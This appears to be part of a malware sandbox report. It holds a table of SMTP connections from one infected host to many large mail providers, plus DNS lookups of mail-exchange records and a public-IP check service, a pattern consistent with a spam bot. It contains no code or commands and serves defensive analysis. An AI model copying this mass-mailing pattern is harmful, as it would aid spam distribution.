Aug 24, 2023 19:03:59.312225103 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.316111088 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.316145897 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.316493034 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.324068069 CEST	50515	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:59.324101925 CEST	25	50491	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:59.324206114 CEST	50491	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:59.329360962 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.329797983 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.329835892 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.329862118 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.329953909 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.329953909 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.330220938 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.330353975 CEST	50500	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.333539963 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333570957 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333595037 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333616018 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333638906 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333661079 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333683968 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333705902 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333729029 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333750010 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.333771944 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.355530977 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:59.355784893 CEST	25	50515	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:59.355856895 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:59.355932951 CEST	50515	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:59.360634089 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.360976934 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.364155054 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.371088982 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:59.371381998 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:59.371632099 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.385416031 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:59.385499001 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:59.385597944 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:59.385637999 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:59.388756990 CEST	25	50515	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:59.388796091 CEST	25	50515	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:59.388928890 CEST	50515	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:59.389117956 CEST	50515	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:59.389825106 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.389959097 CEST	50508	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.390197992 CEST	25	50479	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:59.392920971 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:59.393258095 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:59.397258043 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.399843931 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.400057077 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.405308008 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.405355930 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.405392885 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.405395031 CEST	50516	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:59.405458927 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.405498981 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.405498981 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.407814026 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.407951117 CEST	50511	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.420912027 CEST	25	50515	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:59.423706055 CEST	25	50513	67.231.158.157	192.168.2.8
Aug 24, 2023 19:03:59.423823118 CEST	50513	25	192.168.2.8	67.231.158.157
Aug 24, 2023 19:03:59.426389933 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.427270889 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.427406073 CEST	50504	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.429069996 CEST	50492	25	192.168.2.8	74.205.174.24
Aug 24, 2023 19:03:59.430249929 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.430529118 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.444067955 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.446954012 CEST	25	50465	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:59.451404095 CEST	25	50512	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:59.451582909 CEST	50512	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:59.466808081 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.477210045 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.477247000 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.477299929 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.477375984 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.477437973 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.482963085 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.483159065 CEST	50514	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.484071970 CEST	25	50497	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.484213114 CEST	50497	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.486916065 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.487034082 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:59.487124920 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.487155914 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:59.497251034 CEST	50517	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:59.500500917 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.501689911 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.501833916 CEST	50500	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.502736092 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.502815962 CEST	50500	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.513385057 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.513539076 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.513741970 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.518662930 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.518758059 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.520870924 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:59.522073984 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:59.522208929 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:59.524872065 CEST	25	50516	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:59.525044918 CEST	50516	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:59.529856920 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.529944897 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.530147076 CEST	50475	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.530571938 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.530657053 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.530657053 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.545888901 CEST	50518	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:59.552886009 CEST	50519	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.558903933 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.559767962 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.561969042 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.562005997 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.562165022 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.569847107 CEST	50508	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.569911957 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.578218937 CEST	50520	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:59.580272913 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.580552101 CEST	50511	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.585279942 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.591053963 CEST	25	50513	67.231.158.157	192.168.2.8
Aug 24, 2023 19:03:59.591347933 CEST	50513	25	192.168.2.8	67.231.158.157
Aug 24, 2023 19:03:59.597924948 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.599241018 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.600214005 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.600367069 CEST	50504	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.602916002 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:59.603936911 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:59.604103088 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:59.609249115 CEST	50504	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.611991882 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.613301992 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.613429070 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.615291119 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615323067 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615339041 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615355015 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615371943 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615386009 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615452051 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615803957 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615849018 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615868092 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.615890026 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.622412920 CEST	25	50517	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:59.622689009 CEST	50517	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:59.627293110 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.627623081 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.644685984 CEST	25	50512	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:59.644721985 CEST	25	50512	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:59.644944906 CEST	50512	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:59.645071983 CEST	50512	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:59.655500889 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.655674934 CEST	50514	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.663584948 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663666010 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663702011 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.663702011 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.671994925 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.675086975 CEST	50521	25	192.168.2.8	148.163.155.122
Aug 24, 2023 19:03:59.678081989 CEST	25	50519	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.678225040 CEST	50519	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.680366039 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.680404902 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.680422068 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.680671930 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.680671930 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.680821896 CEST	25	50518	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.680937052 CEST	50518	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:59.683783054 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.684797049 CEST	50522	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.692162037 CEST	25	50520	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:59.692260027 CEST	50520	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:59.707942009 CEST	25	50513	67.231.158.157	192.168.2.8
Aug 24, 2023 19:03:59.709944010 CEST	25	50513	67.231.158.157	192.168.2.8
Aug 24, 2023 19:03:59.710024118 CEST	25	50513	67.231.158.157	192.168.2.8
Aug 24, 2023 19:03:59.710055113 CEST	50513	25	192.168.2.8	67.231.158.157
Aug 24, 2023 19:03:59.710100889 CEST	50513	25	192.168.2.8	67.231.158.157
Aug 24, 2023 19:03:59.717475891 CEST	50523	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.717894077 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.718055010 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.729202032 CEST	50524	25	192.168.2.8	104.47.56.110
Aug 24, 2023 19:03:59.738090992 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.739283085 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.739620924 CEST	50508	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.740324020 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.740413904 CEST	50508	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.751188993 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.751230001 CEST	25	50517	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:59.751374960 CEST	50517	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:59.751940966 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.752172947 CEST	50511	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.766405106 CEST	50525	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.771224022 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:59.771265030 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:59.771281958 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:59.779921055 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.781609058 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.782574892 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.782721996 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.782857895 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.782948017 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.794351101 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.798033953 CEST	25	50522	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.798173904 CEST	50522	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.799662113 CEST	25	50521	148.163.155.122	192.168.2.8
Aug 24, 2023 19:03:59.799810886 CEST	50521	25	192.168.2.8	148.163.155.122
Aug 24, 2023 19:03:59.804686069 CEST	25	50519	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.804867983 CEST	50519	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.807046890 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.807076931 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.807095051 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.807198048 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.807235956 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.807318926 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.822025061 CEST	25	50497	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.822051048 CEST	25	50520	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:59.822067022 CEST	25	50520	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:59.822181940 CEST	50520	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:59.822227001 CEST	50520	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:59.823218107 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:59.825176001 CEST	50526	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.826703072 CEST	50527	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.830483913 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.831485987 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.831665993 CEST	50514	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.833121061 CEST	25	50518	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.833153009 CEST	25	50512	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:59.833295107 CEST	50518	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:59.855555058 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.860306978 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.868737936 CEST	25	50524	104.47.56.110	192.168.2.8
Aug 24, 2023 19:03:59.869165897 CEST	50524	25	192.168.2.8	104.47.56.110
Aug 24, 2023 19:03:59.874298096 CEST	50528	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:59.880553961 CEST	25	50517	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:59.880592108 CEST	25	50517	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:59.880827904 CEST	50517	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:59.884494066 CEST	25	50525	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.884713888 CEST	50525	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.897860050 CEST	50479	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:59.907871962 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.912270069 CEST	25	50522	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.912566900 CEST	50522	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.919398069 CEST	50529	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:59.920484066 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.922777891 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.923902988 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.924217939 CEST	50511	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.925025940 CEST	25	50511	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.925221920 CEST	50511	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.930562019 CEST	25	50519	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.930814981 CEST	50519	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.936322927 CEST	25	50520	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:59.939703941 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:59.939801931 CEST	25	50527	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.939927101 CEST	50527	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.943917990 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:59.950395107 CEST	25	50526	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.950936079 CEST	50526	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.960294962 CEST	50465	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:59.968211889 CEST	25	50518	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.968246937 CEST	25	50518	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.968525887 CEST	50518	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:59.977257967 CEST	25	50497	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.977525949 CEST	50497	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.999265909 CEST	25	50525	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.999603987 CEST	50525	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:04:00.002372980 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:04:00.003437996 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:04:00.003742933 CEST	50514	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:04:00.004322052 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:04:00.004422903 CEST	25	50514	104.47.73.161	192.168.2.8
Aug 24, 2023 19:04:00.004537106 CEST	50514	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:04:00.004635096 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:04:00.004702091 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:04:00.004812956 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:04:00.005543947 CEST	25	50517	144.160.235.143	192.168.2.8
Aug 24, 2023 19:04:00.005698919 CEST	25	50517	144.160.235.143	192.168.2.8
Aug 24, 2023 19:04:00.005904913 CEST	50517	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:04:00.006383896 CEST	25	50524	104.47.56.110	192.168.2.8
Aug 24, 2023 19:04:00.006932974 CEST	50524	25	192.168.2.8	104.47.56.110
Aug 24, 2023 19:04:00.015942097 CEST	50530	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:04:00.028707981 CEST	25	50522	17.57.156.30	192.168.2.8
Aug 24, 2023 19:04:00.028753996 CEST	25	50254	192.185.32.55	192.168.2.8
Aug 24, 2023 19:04:00.028795004 CEST	25	50522	17.57.156.30	192.168.2.8
Aug 24, 2023 19:04:00.028955936 CEST	50254	25	192.168.2.8	192.185.32.55
Aug 24, 2023 19:04:00.028960943 CEST	50522	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:04:00.038801908 CEST	25	50528	139.173.84.185	192.168.2.8
Aug 24, 2023 19:04:00.045703888 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:04:00.051078081 CEST	25	50523	74.125.200.27	192.168.2.8
Aug 24, 2023 19:04:00.051285982 CEST	50523	25	192.168.2.8	74.125.200.27

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 24, 2023 19:03:14.847426891 CEST	192.168.2.8	8.8.8.8	0xcf05	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:14.875772953 CEST	192.168.2.8	8.8.8.8	0x2ecf	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:15.307883978 CEST	192.168.2.8	8.8.8.8	0x69b6	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.050499916 CEST	192.168.2.8	8.8.8.8	0x8e19	Standard query (0)	wizwire.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.154130936 CEST	192.168.2.8	8.8.8.8	0x36dc	Standard query (0)	btinternet.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.175509930 CEST	192.168.2.8	8.8.8.8	0xb22e	Standard query (0)	mx.lb.btinternet.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.184485912 CEST	192.168.2.8	8.8.8.8	0x6c2d	Standard query (0)	secure.wizwire.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.219333887 CEST	192.168.2.8	8.8.8.8	0xa037	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.241539955 CEST	192.168.2.8	8.8.8.8	0xcac0	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.309626102 CEST	192.168.2.8	8.8.8.8	0x54d1	Standard query (0)	roadrunner.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.371722937 CEST	192.168.2.8	8.8.8.8	0x918f	Standard query (0)	icloud.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.391163111 CEST	192.168.2.8	8.8.8.8	0x7fa0	Standard query (0)	mx01.mail.icloud.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.445593119 CEST	192.168.2.8	8.8.8.8	0xdf4b	Standard query (0)	pkvw-mx.msg.pkvw.co.charter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.511425018 CEST	192.168.2.8	8.8.8.8	0x92e2	Standard query (0)	netzero.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.642442942 CEST	192.168.2.8	8.8.8.8	0xab1e	Standard query (0)	me.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.684695959 CEST	192.168.2.8	8.8.8.8	0x9156	Standard query (0)	att.net	MX (Mail exchange)	IN (0x0001)	false
